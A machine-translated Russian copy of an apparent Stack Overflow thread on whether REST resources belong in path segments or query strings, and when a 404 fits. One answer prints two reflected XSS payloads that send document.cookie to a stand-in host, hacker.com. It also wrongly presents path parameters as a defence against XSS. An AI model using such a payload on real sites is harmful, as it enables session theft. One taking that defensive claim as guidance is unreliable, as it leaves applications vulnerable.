Строка запроса в url ресурса REST
сегодня я обсуждал с коллегой использование строк запроса в URL-адресах REST. Возьмите эти 2 примера:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
моя позиция URL-адреса должны быть разработаны как в Примере 1. Это чище и то, что я думаю, правильно в REST. На мой взгляд, вы были бы полностью правы, чтобы вернуть ошибку 404 из примера 1, если код продукта не существует, тогда как в Примере 2 возврат 404 был бы неправильным, поскольку страница должна существовать. Его позиция заключалась в том, что это действительно не имело значения, и что они оба делают одно и то же.
10 ответов:
в типичных REST API, Пример #1 является более правильным. Ресурсы представлены как URI и #1 делает это больше. Возврат 404, когда код продукта не найден, является абсолютно правильным поведением. Сказав это, я бы немного изменил #1, чтобы быть немного более выразительным:
http://localhost/products/code/4xheauaпосмотрите на другие хорошо разработанные API REST - например, посмотрите на StackOverflow. У вас есть:
stackoverflow.com/questions stackoverflow.com/questions/tagged/rest stackoverflow.com/questions/3821663Это все разные способы получить на "вопросы".
нет никакой разницы между двумя URI с точки зрения клиента. Uri непрозрачны для клиента. Используйте те карты, которые более четко отображаются в вашей инфраструктуре на стороне сервера.
Что касается отдыха, то здесь нет абсолютно никакой разницы. Я считаю, что причина, по которой так много людей считают, что это только компонент пути, который идентифицирует ресурс, заключается в следующей строке в RFC 2396
компонент запросом это строка из информация, подлежащая интерпретации ресурс.
эта строка была позже изменена в RFC 3986 для:
компонент запроса содержит неиерархические данные, которые наряду с данные в компоненте path (раздел 3.3), служит для определения ресурсов
IMHO это означает, что строка запроса и сегмент пути функционально эквивалентны, когда дело доходит до идентификации a ресурс.
обновление для устранения комментария Стива.
Простите меня, если я возражаю против прилагательное "чище". Это просто слишком субъективно. У вас есть точка зрения, хотя я пропустил значительную часть вопроса.
Я думаю, что ответ на вопрос, следует ли возвращать 404, зависит от того, какой ресурс извлекается. Это представление результата поиска, или это представление продукта? Чтобы узнать это, вам действительно нужно посмотреть на связь, которая привела нас к URL-адресу.
Если URL-адрес должен возвращать представление продукта, то 404 должен быть возвращен, если код не существует. Если URL возвращает результат поиска, то он не должен возвращать 404.
конечным результатом является то, что URL-адрес выглядит не определяющим фактором. Тем не менее, это соглашение о том, что строки запроса используются для возврата результатов поиска, поэтому более интуитивно понятно использовать этот стиль URL, когда вы не хотите вернуться 404s.
есть два варианта использования для GET
- получить уникальный ресурс
- поиск ресурсов на основе заданных критериев
Пример Использования Варианта 1:
/ products / 4xxheua
Вам однозначно идентифицирован продукт, возвращает 404, если не найдены.Пример Использования Варианта 2:
/продуктов?размер=большой и цвет=красный
Поиск продукта, возвращает список соответствующие продукты (от 0 до многих).Если мы посмотрим на API Карт Google, мы увидим, что они используют строку запроса для поиска.
например, http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
таким образом, оба стиля действительны для своих собственных случаев использования.
IMO компонент path всегда должен указывать, что вы хотите получить. URL, как http://localhost/findbyproductcode только сказать, что я хочу получить что-то по коду продукта, но что именно?
таким образом, вы получаете контакты с http://localhost/contacts и http://localhost/users. Строка запроса используется только для получения подмножества такого списка на основе атрибутов ресурсов. Единственным исключением из этого является когда это подмножество сводится к одной записи на основе первичного ключа, то вы используете что-то вроде http://localhost/contact/[primary_key].
Это мой подход, ваш пробег может варьироваться :)
как я думаю, путь URI определяет ресурс, в то время как дополнительные строки запросов предоставляют пользовательскую информацию. Так что
https://domain.com/products/42идентифицирует конкретный продукт в то время как
https://domain.com/products?price=under+5может искать продукты под $5.
Я не согласен с теми, кто сказал, что использование querystrings для идентификации ресурса согласуется с REST. Большая часть REST-это создание API, который имитирует статическую иерархическую файловую систему (без буквальной необходимости в такой системе на бэкэнде)--это делает для интуитивных, семантических идентификаторов ресурсов. Строки запросов нарушают эту иерархию. Например, часы-это аксессуар, который имеет аксессуары. В остальном стиле это довольно ясно, что
https://domain.com/accessories/watchesи
https://domain.com/watches/accessoriesкаждая ссылка. С помощью querystrings,
https://domain.com?product=watches&category=accessoriesне очень понятно.
по крайней мере, стиль REST лучше, чем querystrings, потому что он требует примерно вдвое меньше информации, так как строгое упорядочение параметров позволяет нам отбросить имена параметров.
окончание этих двух URI не очень значимо для отдыха.
тем не менее, часть "findbyproductcode", безусловно, может быть более спокойной. Почему бы и нет http://localhost/product/4xxheau ?
в моем ограниченном опыте, если у вас есть уникальный идентификатор, то он будет выглядеть чистым, чтобы построить URI, как .../код продукта} Однако, если код продукта не является уникальным, то я мог бы создать его больше как #2.
однако, как у Даррела наблюдаемый, клиент не должен заботиться о том, как выглядит URI.
строка запроса неизбежна во многих практических смыслах.... Рассмотрим, что произойдет, если поиск разрешит несколько (необязательных) полей для всех указанных пяти. В первой форме их положение в иерархии должно быть фиксированным и дополненным...
представьте себе кодирование общего SQL "where предложение" в этом формате....Однако, как строка запроса, это довольно просто.
этот вопрос определяется тем, что такое более чистый подход. Но я хочу сосредоточиться на другом аспекте, называемом безопасностью. Когда я начал интенсивно работать над безопасностью приложений, я обнаружил, что отраженную атаку XSS можно успешно предотвратить с помощью
PathParams(appraoch 1) вместоQueryParams(подход 2).(конечно, предпосылкой отраженной атаки XSS является то, что вредоносный пользовательский ввод отражается обратно в html-источнике клиенту. К сожалению, некоторые приложения будут делать это, и именно поэтому
PathParamsможет предотвратить атаки XSS)причина, по которой это работает, заключается в том, что полезная нагрузка XSS в сочетании с
PathParamsприведет к неизвестному, неопределенному пути URL из-за косых черт в самой полезной нагрузке.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**в то время как эта атака будет успешной с помощью
QueryParam!http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
философски говоря, страницы не "существует". Когда вы кладете книги или бумаги на свою книжную полку, они остаются там. У них есть какое-то отдельное существование на этой полке. Однако страница существует только до тех пор, пока она размещена на каком-либо компьютере, который включен и может предоставить ее по требованию. Страница, конечно, может быть всегда сгенерирована на лету, поэтому ей не нужно иметь никакого специального существования до вашего запроса.
теперь подумайте об этом с точки зрения сервер. Предположим, что это, скажем, правильно настроенный Apache --- не однострочный сервер python, просто отображающий все запросы в файловую систему. Тогда конкретный путь, указанный в URL-адресе, может не иметь ничего общего с расположением конкретного файла в файловой системе. Итак, еще раз, страница не "существует" в каком-либо ясном смысле. Возможно, вы просите
http://some.url/products/intel.html, и вы получаете страницу; затем вы запрашиваетеhttp://some.url/products/bigmac.html, а вы ничего не видите. Это не значит, что есть один файл, но не другой. Возможно, у вас нет разрешения на доступ к другому файлу, поэтому сервер возвращает 404, или, возможно,bigmac.htmlдолжен был обслуживаться с удаленного сервера Mc'Donalds, который временно не работает.то, что я пытаюсь объяснить,
404- это просто число. В этом нет ничего особенного: это могло быть40404или-2349.23847, мы только что согласились использовать404. Это означает, что сервер есть, он общается с вами, он, вероятно, понял, что вы хотели, и ему нечего вам вернуть. Если вы думаю, что это уместно вернуть404наhttp://some.url/products/bigmac.htmlкогда сервер решает не обслуживать файл по какой-либо причине, вы можете также согласиться вернуть404наhttp://some.url/products?id=bigmac.теперь, если вы хотите быть полезным для пользователей с браузером, которые пытаются вручную редактировать URL, вы можете перенаправить их на страницу со списком всех продуктов и некоторыми возможностями поиска вместо того, чтобы просто дать им
404--- или вы можете дать404как код и ссылка на все товары. Но тогда, вы можете сделать то же самое сhttp://some.url/products/bigmac.html: автоматическое перенаправление на страницу со всеми продуктами.
для клиента REST структура URI не имеет значения, потому что она следует за ссылками, аннотированными семантикой, и никогда не анализирует URI.
разработчиком, который пишет логику маршрутизации и логику генерации ссылок, и, вероятно, хочет понять журнал, проверяя URL-адреса, структура URI имеет значение. По REST мы сопоставляем URI с ресурсами, а не с операциями - Полевая диссертация / единый интерфейс / идентификация ресурсов.
так что оба URI структуры, вероятно, ошибочны, потому что они содержат глаголы в их текущем формате.
1. /findbyproductcode/4xxheua2. /findbyproductcode?productcode=4xxheuaвы можете удалить
findиз URI таким образом:
1. /products/code:4xxheua2. /products?code="4xxheua"С точки зрения отдыха это не имеет значения, какой из них вы выбираете.
вы можете определить свое собственное соглашение об именах, например: "путем сокращения коллекции до одного ресурса с использованием уникального идентификатор, уникальный идентификатор должен всегда быть частью пути, а не запроса". Это то же самое, что и стандарт URI: путь иерархичен, запрос неиерархичен. Поэтому я бы использовал
/products/code:4xxheua.
Comments